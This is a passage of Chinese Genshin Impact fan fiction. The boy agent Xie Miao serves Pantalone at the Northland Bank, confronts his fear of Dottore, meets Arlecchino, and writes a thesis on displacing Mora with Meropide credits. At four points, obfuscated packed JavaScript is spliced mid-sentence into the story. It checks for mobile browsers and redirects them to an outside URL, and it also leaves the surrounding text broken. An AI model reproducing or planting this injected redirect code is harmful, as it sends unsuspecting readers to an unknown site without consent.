今天她也吃不下东西,把几乎没动的盒饭拨给了活脱脱饿死鬼投胎的谢苗。这时候也别提什么嫌弃不嫌弃了,又没有沾上口水什么的,谢苗大口吞咽,两三下就解决了一份盒饭。 看得瑟琳娜叹为观止又有些羡慕:“真是好胃口。” “其实不是件好事。”谢苗否定道,“这不是正常人的饭量。” “别这么说自己,你还在长身体呢。” “……快到时间,我应该上去了。回见,瑟琳娜小姐。” “快去吧小先生 。” 谢苗重复他在办公室取文件冲咖啡泡茶水丢垃圾的打杂生活。 是不是没有讲过他下班后的生活? 因为对现在的谢苗来说,没有下班这一概念。说了是贴身保护,潘塔罗涅老爷无论加不加班他都得在北国银行陪着。老爷下班回住宅,他也要跟着一起。富人的宅子自然能留给他一间屋子洗漱睡觉。和另外几名暗中保护的愚人众排班守夜。 当然,早饭和晚饭都由富人供应。薪资相当丰厚,谢苗干了快三个月,拿到的薪水已经抵得上过去在壁炉之家接任务半年获取的赏金了。 虽然那赏金是层层盘剥后的数量,但对于一个孩子而言并不少。 总之,这份工作除了麻烦琐碎些,倒也没有让谢苗有什么难以忍受的。 他甚至在给瓦西里和帕维尔写信的时候畅想未来:按照这个薪资水平,再过十五年我就可以在至冬城内买下一座房屋。 瓦西里回信表示:好好干,保护好自己。 帕维尔:我不想努力了。 直到开春后,北国银行上上下下因为收债讨债忙碌起来。各路执行官亲自或者派人来找潘塔罗涅老爷拿资金审批条,他又见到了【博士】多托雷。 那天上午,他把潘塔罗涅处理掉的一部分文书抱下楼交给银行经理和其他等候的负责人,听见大门处传来的声响。守卫、迎宾、职员们几乎诚惶诚恐的站起身来,匆匆瞥到一抹蓝色后迅速低下头去,恭敬的垂首。 谢苗良好的耳力与视力让他听见金属皮扣摩擦布料的声音,看到了鸟头面具后的薄荷蓝卷曲发色。 以及那摇晃的荧蓝试管耳饰。 那一瞬间他再次被无形的手拖拽着绑上冰冷的手术台,心脏剧烈的跳动,频率越来越快越来越快——寒霜覆盖了他的胸膛,抚摸他的脸颊,从足下蔓延至地板,惊得身边人猛地跳起后退一大步。 “唉?你!” 谢苗两耳只剩无尽的嗡鸣,不等其他人发出多余的声音,身体的下意识反应占据了头脑高地。他几乎是落荒而逃,眨个眼的功夫就窜上二楼,把自己藏进了潘塔罗涅的办公室里。 正在喝茶的潘塔罗涅就这样看着一道黑影突兀的闪进自己办公室。 他发誓就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679256|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪进来的,模糊到身为脑力派的富人完全看不清那是个什么东西。 他甚至想到了是暗杀者丢进来的爆炸性武器,不过转念思及那根本不可能越过重重防线投进来,又松了口气。 “……谢缪尔?你怎么了?”潘塔罗涅看清了那个站在衣架皮草后面的男孩,忍不住笑起来,“我头一次见你这副模样。” 真是狼狈啊。 这小子一直都是沉稳可靠的模样,从没见他失态过。 潘塔罗涅听见这个向来沉默的少年特工开口:“对不起,我会赔偿损失的。” 潘塔罗涅不明所以:“你干了什么……闯祸了?” 真闯祸了他会找阿蕾奇诺负责的。怎么说都是壁炉之家教出来的,不是吗? 谢苗还没来得及解释他把地板冻了一片,敏锐的听觉正在提醒他某个家伙上楼了。并且是大摇大摆毫不掩饰自己来意的那种—— “潘塔罗涅老爷,日安。” 多托雷啪的一下推开胡桃木门,潘塔罗涅面上有些许疑惑:“什么风把我们的博士大人吹来这儿了?” 死多托雷手劲真大,门都颤了两下。 “没事就不能找你吗?好歹是合作伙伴。”多托雷选择在沙发那坐下,今天他是要讨比预案多10%的资金,不好好打招呼可是会被富人老爷冷漠无情驳回申请的,“这是你新招来的?” 谢苗眼观鼻鼻观心,没有“识趣”的主动退出去。执行官之间并不和平,口角摩擦什么的都是有的。考虑到潘塔罗涅老爷儒雅外表与他非武斗派的定位,没见过对方出手的谢苗选择留在这里——万一博士被拒绝后恼羞成怒对可怜的老爷大打出手呢? 潘塔罗涅依旧是笑眯眯的模样,谁也看不出他真实的情绪与想法:“对。你还记得他吗,谢缪尔?” 到底是问谁记得谁? 多托雷脸上带着面具,看向那个两年多没见的少年。从过往的记忆中搜寻出一模一样的蓝紫色眼睛,那是春夏水畔的鸢尾花,也是吐露心事的柔灯铃。 “原来他在你这啊。” 谢苗不敢抬头,神之眼的力量在失控边缘摇摇晃晃的挣扎,正如他的理智那般。但他硬是咬牙撑过来了。 他会一次比一次更从容的去面对曾经让他难以承受的事物。 于是他抬起头,直视那只乌鸦面具,又轻轻低眉敛眸。 有趣。 潘塔罗涅直觉这背后是段故事,看热闹不嫌事大的富人老爷没有搭理合作者的言外之意,选择将少年留下来。 “好了谢缪尔,别站在那。过来帮我抄写一份新的企划案。”潘塔罗涅老爷语气亲昵,“刚刚博士大人突然推门进来,吓到我了。墨水晕开弄脏了纸。” 多托雷往沙发上一靠,比潘塔罗涅还像是这里的主人:“怪我咯?” “我可没你们这些出外勤的心脏强悍。” 后面的打趣谢苗不想听,他心想这二人蛇鼠一窝干尽坏事。为了看自己出糗,居然舍得让他留下来接触银行机密——放在以前他根本不被允许过目那些企划案。 别太荒谬了大老爷。 他取了纸张墨水去一旁的矮几重新抄写,有意模仿潘塔罗涅的字迹。 不为别的,富人老爷写字好看。 26. 蛇的教导 多托雷对实验资金的追求似乎高于把谢苗抓回去继续实验。 想来也是,不过是一次心血来潮的实验结果。两年过去二代实验体还能跑能跳活跃在愚人众内部,也算是对博士大人手艺的另类赞美。 要到了比预案多5%的资金后,多托雷拿走了支票施施然离去。光看背影都知道他要一头扎进实验室大显身手——烧钱。 刚花出去几十个小目标的潘塔罗涅老爷正在欣赏谢苗抄写的企划案:“什么时候学会的字迹模仿?” 谢苗斟酌一番:“壁炉之家有培训这方面的技能。潘塔罗涅老爷的字迹看得久了,能模仿几分形。” “那什么时候能完全模仿出来?” “……如果您允许的话,两日内。” “如果从头学习模仿一个人的笔迹呢?” “一周速成。” “阿蕾奇诺可从未告诉我你还会这些。”潘塔罗涅笑眯眯,“看来我捡到宝了呢。” 有的人会忌惮这份手艺,担心哪天自己的签名被模仿造成经济损失。但潘塔罗涅无所畏惧,他自有自己的御人之道。而且谢苗的出身决定了他不会背叛。 “……老爷谬赞。”谢苗不自在的搓搓手,这当然是故意给对方看的肢体情绪,“潘塔罗涅老爷……我刚刚在楼下造成了破坏,经理应该很快就会来汇报损失金额。请从我的工资里扣除吧。” “那些会算进日常维修费中,比起一些微不足道的破坏,我更好奇你是为什么失态。”富人老爷双手交叠托着下巴,歪头笑得狡黠,“因为二席【博士】吗?” 这属于他不知道的情报,有意思。 “两年前我接受过博士大人的实验改造,拥有了驾驭炼金术武器的能力。也留下了一些……精神创伤。”他站得笔直,就像雪中的白桦,只是低着头颅,“是我的意志还不够坚定。” 这些事不能告诉瓦西里和帕维尔,但面对执行官的提问却不得不回答。以潘塔罗涅和多托雷的交情,想要知道谢苗的过去再轻易不过了。 潘塔罗涅见过许多被恐惧震慑的人的模样,一溜烟逃进办公室的谢苗和他们相比并没有什么区别。但很快他就见到了这个少年的蜕变:几乎是肉眼可见的速度叫自己克服心中的恐惧,然后撕开伤疤,将血肉模糊的内里袒露在日光下。 这很好。 潘塔罗涅不需要将弱点交给其他人的部下。 谢缪尔证明了他自身的价值仍旧存在,值得投资。 潘塔罗涅老爷微笑着鼓励他:“你已经做得很好了,谢缪尔。相信下次再见博士,你可以做到坦然自若。” “……” “我是个商人,只要你带来的收益高于我加注的投资,就可以成为我名下的财富。”【富人】潘塔罗涅轻笑,常年眯着的眼睛掀开了一条缝,露出蛇一般的竖状瞳仁*①,“努力让自己保值升值,这就是你要做的事。” 物化人吗? 谢苗回答道:“遵命,潘塔罗涅老爷。” 富人老爷对于金钱有着近乎病态的追求。 当然,这并非说他是一毛不拔的铁公鸡。相反,他在某些时刻出手相当慷慨大方。无论是同僚的资金审批,还是出资用于至冬灾后援建,账单上统计的单日金额是让谢苗打工八百年也挣不到的天文数字。 因为这只是为了更丰厚,更庞大的利益回报。 谢苗跟随潘塔罗涅做事也有一年时间了,亲眼看见这位至冬首富是如何用尽一切手段积累财富,将北国银行一步步扩张成为傲视提瓦特的庞然大物。光是谢苗知道的暗处产业链就有不下三十五条,遍及七国。 蒙德、枫丹都有这位富人老爷伸出的手眼,在暗处搅动他国金融市场,酝酿足矣摧毁一国经济的金融风暴。 传回至冬的情报只有薄薄几纸,可就是这些纸张记录了无数个家庭的血泪。 “贪婪、欲望、悔恨……小小的一枚摩拉承载了人类如此磅礴的情绪。谢缪尔,你认为这是人类的错吗?” 午后的北国银行散发出古朴厚重的木制香调,周围没有旁人,这是潘塔罗涅老爷难得的放松时刻。他靠在柔软的椅背上,隔着轻薄的手套抚平纸张的皱痕。 醇香的红茶从壶口注入杯中,袅袅茶烟晕染开来。谢苗把茶水和点心轻轻搁置在桌上,说:“追求更多的财富,更好的生活,是社会中人的[天性],我无法用对错来评判那些投机者。” 潘塔罗涅:“无法评判对错本身就证明你并不认为人类有错。人类用劳动所得向神统御国度的政府换取房屋饮食、财富地位。而同样身为人的我,只用一些小小的手段就能让政府公信力下降,撼动神权与摩拉的绑定关系。”虽然现在还在起步实验阶段。 可是听上去你并不骄傲,反而悲哀。 “货币因人的交换行为而诞生,被人所认可和接受。而这由人的约定与信用创造的金色洪流又会转而吞没人。”潘塔罗涅平静道,“[人]应当是金钱之主,而非其仆役*②。金钱流动由人之手划拨,却又无法被任何人真正拥有。*③可如今的世界倒行逆施,这是不对的,谢缪尔,你明白吗?” 谢苗想起还在壁炉之家生活时期学习的提瓦特常识:“如今的金钱是神用信誉担保,依靠神力铸造的……这不符合……常理。” 他的眼睛陡然明亮,他似乎摸到了潘塔罗涅一直所追求理念的边缘。 在谢苗久远的故乡,金钱由人铸造,由人担保。正如潘塔罗涅所畅享那样,人是金钱的主人。 那是无神的世界,没有神明,人类依旧让金钱流通诸国。所以谢苗完全可以理解潘塔罗涅耿耿于怀而提瓦特其他人所不能接受的金钱理论。 潘塔罗涅没错过他严眼中的光亮,两名人类在这一刻心意相通。那是对[人]的利益的共同追求。 “是啊,本应被神弃之如敝的金钱却也被他们掌控。神要这做什么呢?而人连这也无法掌控,成为了金钱的奴仆——实在是过分悲哀了。” 潘塔罗涅陡然生出兴致,他再次向人展述他的宏伟蓝图、他的金钱理念、他的毕生追求。就像曾对神披露却得不到回应那样,就像他为女皇陛下展示自身能力被委以重任那样,就像他和同僚畅想纯白无垢的人之世界那样—— “所以,我要创造一个[ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679257|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人]为金钱之主的世界。” “用尽一切手段,让我等成为流通世界的钱的心脏。然后在必要时刻,让心脏以我等的意志停摆。*④” 十五岁的谢苗只当是这一个野心勃勃商人对于货币金钱的掌控宣言,殊不知潘塔罗涅已经向他展示了全体愚人众共同的追求。 撼动神之世界的根基,创造人之世界。 谢苗明显感觉到潘塔罗涅对他的信重加深了。 应该是件好事。 他仍旧做着端茶倒水清理刺客的杂活,但潘塔罗涅会刻意抽出时间教导他金钱相关理论知识,甚至用具体事例模拟情景,提点他如何博取最大利益,如何在绝境断舍离。 谢苗:不要啊,我弃理从武已经快十年了啊! 好吧,虽然从头学一遍金融知识真的很难绷,但谢苗长久以来培养出的学习能力发挥了大作用,至少他现在已经可以从财政报告上几行数字分析各地资金链情况与成因,估算各个企划案上的预估盈利是否虚报,如何打理他有限的财产,利用在银行工作的绝佳信息使财产增值…… 最后一点最实用,谢苗借着这股东风很是挣了不少摩拉——可以比原定计划提前六个月买下一座房子。 更赚钱的,那种放债讨债的事,他做不来。 “心怀无用的仁慈吗?”潘塔罗涅老爷对他这种小孩子一般的执着不置可否,“只是利益还不够多,不足以让你跨越自己设立的道德底线。” 谢苗摇摇头:“对老爷您来说,金钱的确越多越好。但是对我来说,拥有了更多金钱,欲望的沟壑也就越发难填补。我并非为追逐欲望生活,现在挣的加上每月薪资,已经足够了。” “你的志向就是这?” “您也不会放我回到军队。”谢苗心想自己大概要一直在银行工作了。 潘塔罗涅没有正面回答,反而从旁问起:“为什么这样执着于进入军队体系?就因为你早逝父母也是愚人众军官?” “……有他们身份的一部分原因,但并不全是。”谢苗主动解释,大老爷不喜欢刻板的一问一答,“老爷您知道的,我六岁就进入了壁炉之家,被前代【仆人】教导可口的食物、暖和的衣衫、温暖的房屋,这一切源于女皇的恩赐,长大后要效忠陛下。我想为女皇陛下效力,进入军队体系从基层做起,建立军功一步步升职。那是我能触碰到的,最适合我的道路。” 很朴实的想法,至冬至少有三分之一的孩子想过参军这条路。潘塔罗涅并不讽刺,他转动手上的宝石戒指:“那你一开始就错了。如果是想为女皇陛下尽忠,应该去加入苍星军,而不是去愚人众新兵营。” “苍星军?”谢苗头一次听到这个词。 “壁炉之家不会和你们这些什么都不知道的孩子讲这些。苍星军是至冬最精锐的部队,隶属于冰神。非女皇特许,连执行官都无权调动他们。而愚人众虽然也是至冬的军队,却直接对执行官负责。执行官之上才是女皇陛下,到底是……隔了那么一层。” 富人老爷轻笑:“所以,你走错了路。” 亲自将自己送进执行官内部倾轧的斗争中来。 27. 开门,父亲送温暖 “我不认为自己走错了路。”谢苗否认。 “是我太娇惯你。”潘塔罗涅故作阴森道,“现在都会反驳忤逆我了。” 这话说的,怪尴尬的。 “苍星军很好,但愚人众也不差。执行官大人们为女皇陛下效力,我为执行官大人效命。”谢苗低头,“另外,潘塔罗涅老爷,我最近是有些飘飘然了,请您责罚。” 室内陡然一片沉默。 潘塔罗涅微笑:“怎么会责罚你呢?谢缪尔对至冬一片忠诚啊。” 谢苗直觉他没憋好屁。 “你看见过梅洛彼得堡[特许券],也知道【富人】做这场实验的目的。就《国中之国特定货币取代摩拉流通的可能性与干预危机——梅洛彼得堡特别篇》写一份不少于一万单词的论文。夏天结束前,我要看见它放在我的办公桌上。” 潘塔罗涅老爷眯眼笑:“就当是老师对你学习成果的检验。” 谢苗反应过来自己听到什么后瞬间感觉天塌了。因为现在已经是春末,城市供暖设施全部停用。距离夏末只剩不到三个月的时间,你让他憋出一份万词论文?! 还是不能水的那种! 谢苗脸都绿了。 幸好大老爷没有丧心病狂到让他这个便宜学生连《参考资料》都没得用的地步,把部下送来的情报筛筛减减整合了厚厚一摞交给他——好吧其实当老师当成这样也算是不错,好过嘴一张然后啥也不管只等着最后结果。 不过谢苗真没想到自己居然能当【富人】的学生。到时候别人问他你都跟着你老师学了什么?肯定学了生财之道吧?谢苗嘴皮子一哆嗦:写论文。 太离谱了。 夜晚在富人住宅里属于自己的小房间内,谢苗点亮台灯伏案书写整理材料。他没有去过枫丹的梅洛彼得堡,对那地方的了解仅仅来源于潘塔罗涅的讲解和提供的情报资料。考虑到论文题目,不可能绕过对枫丹政治形势的研究,其中又牵涉到历史因素——国中之国梅洛彼得堡总不可能是枫丹政治高层脑门被夹闲着没事整出来的吧? 谢苗有点想回壁炉之家图书馆借历史书了。 但那是不可能的,他连写论文都得等大老爷入睡后才能动笔,更别提直接离开北国银行回壁炉之家庄园。 再也不嘴贱了…… 谢苗含泪书写。 转机很快到来。 壁炉之家现任掌权人阿蕾奇诺选择在夏天的某个日子踏入北国银行,找同僚潘塔罗涅审批资金,顺便看看在这工作了一年多的孩子。 阿蕾奇诺和谢苗十四岁离家时相比又长高了,面庞褪去稚嫩多了些成熟的韵味。她和潘塔罗涅交谈的过程称得上一句平静无波,毕竟每个季度批给壁炉之家的活动经费是固定的,她又不像多托雷那样次次多要。因此潘塔罗涅写支票填数字还是很爽快的。 反正这笔钱无论如何都是要出的。 两边都爽快,两边的心情都不错。谢苗得到允许,被阿蕾奇诺叫出去单独谈话。 “在北国银行生活得还好吗?” “还不错,吃得饱,每个季度都会发两身新衣服。工资直接打到卡上,没有拖欠过。” 阿蕾奇诺端详他良久,点点头:“没说谎,你是诚实的孩子。脸颊比去年多了些肉,长高了不少,看来潘塔罗涅没有饿着你。”衣裳料子都属于中等贵族家庭用的好货,眼神清亮,干干净净,没受过什么磋磨。关于待人礼节侍奉长官……谢苗没有被践踏尊严折辱,阿蕾奇诺也不会贸然评价什么。 “至于工资……他操控金钱的手腕绝非常人可以比拟,虽说敛财手段五花八门,但拖欠员工薪资对他这种讲究的富商而言过于掉价,想来也不会做出丑事。” 阿蕾奇诺的点评很精准,谢苗对她的关心有些不好意思,又问了壁炉之家最近的情况,有没有什么他可以帮忙的。 “不需要你做什么,既然离开了家,就好好生活。如果不想在潘塔罗涅身边待了,写信告诉我。”阿蕾奇诺又想起这孩子的心愿,“我记得你一直想要进军队,以你的实力和素质,就算是苍星军也进得去,只是年纪小了些。” 这是他第二次听到苍星军的名字了。可谢苗没有多问,这还是在北国银行的地界上,阿蕾奇诺无所畏惧,但他还要考虑到自己未来的待遇。 阿蕾奇诺看他有自己的打算,没有不满意,反而取出了一只包装精美的礼物盒子:“你离开家后,第八席的【女士】带着礼物来看望过孩子们。虽然她没说,但我知道她是根据当时名册上的数量准备的礼物。自然也有你的一份。” 谢苗的档案是在他被带到富人身边后才从壁炉之家调出来的,阿蕾奇诺卡了这个时间差,把一些尾巴收拾干净。 “谢谢【女士】大人,也谢谢您……父亲。” “我会转达你的感谢。还有什么想问的吗?”阿蕾奇诺示意他可以从她这里获得一些情报。对于特工来说,及时的情报比黄金更珍贵。 当然,这是孩子的特权。换作其他人,阿蕾奇诺可没有这样好说话。 谢苗哪里会放过,恳切的询问阿蕾奇诺有关枫丹政治体系和梅洛彼得堡有关的信息。这恰好是阿蕾奇诺正在涉及的领域,她把自己能说的告诉了他,奇怪的询问:“你问这些做什么?潘塔罗涅要外派你去枫丹开拓新业务?” “……因为我正在向潘塔罗涅大人学习金融知识,包括货币的发行与流通。梅洛彼得堡是个特殊的地方,我要以这里为主题写一份一万单词以上的论文。” 阿蕾奇诺:“……” 阿蕾奇诺:“学习本身是件好事,潘塔罗涅善于操控经济玩弄权术。如果你想学到对你有益的,上交学习成果并检验是正确的选择。” 阿蕾奇诺:“回头我会整理一些资料,让人送来北国银行给你。” 谢苗:~( ̄▽ ̄)~ 告别阿蕾奇诺,他抱着礼物进来后被富人老爷阴阳怪气打趣道:“看来你们久别再叙聊得很投机,还有礼物呢。” “向阿蕾奇诺大人讨教了一番论文怎么写。大人对孩子很耐心。”他避重就轻,“礼物是【女士】大人给壁炉之家孩子们的,也有我的一份。老爷要看看吗?” “【女士】?”那趾高气昂的女人居然是喜欢孩子的? 潘塔罗涅没考虑过【女士】和【仆人】合作的可能,这俩职权不重合没接触,基本没有合作的必要。而且如果是要讨好合作者的话——【女士】根本就干不出讨好那事,只有别人讨好她的份。 所以礼物真的是给孩子的。 谢苗去矮几那里拆了礼物,里面是一只三十厘米的白熊布玩偶,有着漂亮的蓝眼睛,脖子上是同色的宝石蝴蝶结。 潘塔罗涅只看了一眼就收回目光,谢苗则是轻轻抚摸玩偶软乎乎顺溜溜的人造皮毛,很是喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679258|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这礼物当然不是特意为他挑选的,也不是特意为他留的。谢苗知道自己还没到人见人爱花见花开的地步,但他依旧喜欢这份礼物。 他喜欢这种给孩子的礼物,不用考虑价格,不用考虑回礼,只需要接受并喜悦。 而且这种柔软的触感让他想到了那年雪山遇见的黑猫。妖精一般的,助他从冥海归来的黑猫。 谢苗决定把他放在枕头旁边,每晚守着睡觉。 过了几天,尼古拉教官特意掐着饭点时间来北国银行报销上个月的额外支出。在经理的指引下找到了在后面闷头吃午餐的谢苗。 谢苗着实没想到居然会是尼古拉亲自跑这一趟,他逮着对方问了好些熟悉的孩子们的情况,包括帕维尔莉兰之类的。大家都有自己的路,或是专攻情报收集,或是着重训练潜伏暗杀。谢苗问了一圈人,发现只有自己朝着文职方向改变。 这令他无端的惶恐。 夏天过了一半,至冬主城的人们都穿着少见的薄衣衫。宴席舞会的邀约如雪花般飞进潘塔罗涅的办公室,但是富人老爷只会挑选少数几场重要宾客出席的宴会赴约。 谢苗作为这两年内富人老爷身边的新人,在上层贵族圈子看来,是【富人】代表执行官和女皇持续对外释放至冬重视军人重视武力的信号。毕竟战争遗孤会有政府或者军方妥善收养,抚恤补贴每个月如约到账。国家福利政策愈发完善,多少平息了一些平民百姓因为连年征战而失去孩子的怒火。 对于这些事,谢苗有所耳闻,但是内心没有什么触动。他见惯了儿童的死亡,也接受了执行官之间的倾轧导致的左右脑互搏事件。麻木让他对待外客时终年保持着一成不变的平静心绪,扮演好富人希望他展示出来的模样。 但潘塔罗涅老爷是一位好老师。 他带着谢苗周旋于富商政要的名利场中,言传身教,置身于信息的洪流中,随手就能捻取有用的情报,挣得一位特工重视的利益。 他甚至会将谢苗打扮成不知底细者信以为真的贵族公子,让其品尝高位者与底层人被不同的对待。从不同的言语中学会利用身份转变带来的优势。 “谢缪尔,金钱固然可以装点一个人的门面,使其看起来足矣与他的阶级匹配。但是真正的高位者并非只有金钱与权利傍身,还有无论如何都能保持冷静,操控人心与利益的头脑。” 潘塔罗涅站在酒店室内二楼的围栏后,对大厅仰头的商会主席举起酒杯致意。而谢苗就站在他身后承重柱的阴影中,听他教导:“你在这方面很有天赋,有点期待你以后会成为什么模样了。” 他喝了些酒,已经有几分醉意,但是眼神依旧清醒。这样的状态最方便套话。潘塔罗涅百试不厌。 “……老爷。” “怎么了。” “商人,或者特工。都需要伪装的假面掩藏真正的意图。但是面具戴在脸上太久,会忘记自己本来的模样。”身后的孩子轻声询问,那点迷茫无措被觥筹交错间的杯壁碰撞声掩盖,略带稚气的询问,“如果迷路了,怎么办?” 这是很多初入此地年轻人会有的惶恐不安。潘塔罗涅轻笑:“所以,你需要一个锚点。无论是人还是物,看到对方就能一瞬间回忆起自己的初心。” 谢苗注视着潘塔罗涅的背影,冷不丁开口:“那老爷,您的锚点一定是摩拉吧。” “……真聪明。” 28. 论文毕业了 夏末初秋,谢苗将自己的论文装订成册后交到了潘塔罗涅手中。 他用了点小心思。 因此潘塔罗涅在茶歇时间翻开第一页的时候,有一瞬间的恍惚。 他看着自己的字迹,差一点就要当作是谢苗把他年轻时写的构想从保险柜里撬出来了。 以下是谢苗·雪奈茨维奇同志论文的节选片段: 【……枫丹的独特政治体系让她判、罚分离。沫芒宫,欧庇克莱歌剧院,以及梅洛彼得堡。沫芒宫是水神与最高审判官那维莱特的办公场所,枫丹政治体系的主脑。欧庇克莱歌剧院是法律贯彻与观测的核心。水神常在两地奔走,不错过任何一场审判。是以,两地笼罩的神权威压尤甚。 说回梅洛彼得堡,本是初代水神及审判官流放犯人的地方。为何建立在水下我无从得知成因,但据说是一则与本国有关的奇妙预言*①,在此不过多赘述。 梅洛彼得堡是神流放犯人才建立起的地方,枫丹长久以来没有死刑,于是犯人越积越多,甚至结合诞生的孩子也在此长大,重复父母日复一日的苦役劳作。出于对神的不满、敬畏,以及对孩子苦楚的不忍与怜爱,梅洛彼得堡神权的威力相较于水上,大打折扣。到了近几百年,就连沫芒宫都无权管辖。 这个地方相对封闭,不会受到太大干扰,又与水上保持着一定的人员流动,堪称国中之国,是进行社会实验的绝佳场所。尤其是剥离摩拉作为货币权利的实验……】 潘塔罗涅看到这里还有心思喝一杯咖啡。 【……混乱是水下的常态。 有人的地方就有派系争斗。梅洛彼得堡每一任管理者都做不长久,长此以往造成的结果就是犯人之间也有自己的派系划分与争斗——反过来推,结论一样成立。管理者与不受管理的犯人中间的矛盾无可调节,只要我们的人渗透其中,用巧舌和金钱说服管理者,就能推行特许券用来代替水下摩拉流通的本职工作。 试问,可以用来交易,购买药品、操控赌局、收买人心,掌控他人生死的特许券,这样的绝佳利器由管理者点头发行,巩固了他的治理,他有什么理由不接受呢? 而由梅洛彼得堡最大权利集成体的,也同样是人类的管理者担保而发行的特许券,在封闭的水下轻而易举就能取代摩拉,顶替了摩拉本身具有的金钱流通能力……】 潘塔罗涅挑眉,不错,到这里都很正常。 【数字与数学本是为金钱的确额度计算所生,有文字以撰写借据,有法则以框定易手之财。这一切本是我们[人]的成就。*②】 【……地上流通的金钱是摩拉,璃月古老的神明摩拉克斯,即此世[契约之神][贵金之神],他用他的一切为人类的血汗担保,正是神明的[信用]让摩拉这种贵金属得以流通全大陆。 摩拉是货币,但货币可以不是摩拉。因为此世摩拉除了承担货币的职能外,本身还具有贵金属、炼金媒介的作用……】 【……贵金属的保值升值由市场决定;炼金媒介必不可少,但那只在部分圈子适用;唯有货币本身价值不可估量。 回到本论文探讨的最为核心问题:如何取代摩拉作为货币的流通属性。】 【摧毁摩拉克斯用以担保的[信任]】 潘塔罗涅看向趴在矮几那边低头帮他撰写回信推拒宴会邀约的少年人,既惊讶他的思想,又庆幸终于有人和自己同频。 不枉他发觉这孩子的人本位思想后致力于培养的苦心。 这一行文字铿锵有力,潘塔罗涅愈发期待这孩子能给他多大的惊喜。 【……我的知识存储太浅,提出摧毁摩拉克斯给摩拉担保的[信任]这个观点后,能想出的只有两个方法。 第一个方法,做空璃月市场。黄金的心脏在璃月,璃月的心脏在黄金屋。那是摩拉克斯铸币的地方。其他国家可以出现金融危机,因为摩拉储存和货物交易量有限。但璃月不会,铸币权掌握在璃月手中,有神坐镇后方,哪怕我们故技重施,像征服其他国家市场经济那样去征服璃月,显然是有些痴人说梦。因为只存在于理论中的庞大金额支撑面对璃月源源不断的摩拉供应还是相形见绌。 假设我们真的可以通过炒热做空璃月金融市场让黄金屋无法继续产出摩拉——继续产出摩拉就相当于把众生的劳动践踏在地。我相信那时候至冬与璃月已经到了不死不休的地步,有着[武神]美称的摩拉克斯发现我们如此践踏众生劳动成果,一定会揣着他的岩枪飞到至冬上空来一次现象级的[天动万象](注:这个单词我从历史书璃月篇中学到的,据说是摩拉克斯武技之一)。 就算摩拉克斯不亲自下场,那时候的至冬财政和破产已经不分彼此了……所以我认为,这条路放在璃月等于自寻死路,潘塔罗涅老爷如此聪慧,想来已经比我顾虑周全……】 潘塔罗涅差点被咖啡呛到。 说话这么难听呢谢苗·雪奈茨维奇? 【第二个方法,谋划摩拉克斯的死亡。 神并非久远恒古,与天地同寿。如今的尘世七神即为尘世七执政,本是魔神受天空岛的册封拥有的正式职位(其实我看很多神不用天空岛册封也能建立国家)。除了蒙德的风神巴巴托斯与璃月的岩神摩拉克斯外,五国神明都有不同的更迭。包括我们挚爱的女皇陛下正是继承前任冰神白沙皇的神位。 神可以死亡这个观点成立,摩拉克斯的死亡也并非不可行。作为七神中最古老的一位,或许我们可以等这位神明哪一天嘎巴一下脆生生的就仙逝了。但这具有不确定性,或许摩拉克斯寿终正寝的时间是几百年后,而我们早已入土为安——如果潘塔罗涅老爷您受到女皇恩宠可以像长生种那样活几百年的话,当我没说。 摩拉克斯的自然死亡具有不确定性,那么刺杀他呢? 希望您看到这里不要想到让我去亲自尝尝摩拉克斯拳头的威力,爱您,潘塔罗涅老爷*③。 刺杀摩拉克斯并非不可能,也许我们可以说动女皇陛下借着七神议会的名头把摩拉克斯嘎巴一下解决掉;也许我们可以让【队长】大人借着出使璃月的机会把摩拉克斯嘎巴一下解决掉……】 潘塔罗涅:那很脆生了。 又气又好笑。 【……倘若武力无法解决问题,或许我们可以与摩拉克斯交易。 正如契约的国度重视[契约]那般,摩拉克斯以自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纵然那种想法在潘塔罗涅看来与原始部族类似,但可贵的在于谢苗思维中无神。他就像当诞生在这个世界上的稚子一般,理所应当理直气壮的认为应当是人铸币。 是的,人铸币。而非神力铸造货币。 人与人不平等,难道人与神就平等了?宁可接受神的掌控,接受人与神不平等的世俗理念。也不愿意在人与人的社会中靠自己的实力摸爬滚打更上一层楼——潘塔罗涅认为这种人本质还是奴性思维。 能靠自己掌握在手的事情,为什么一定要依赖更强? 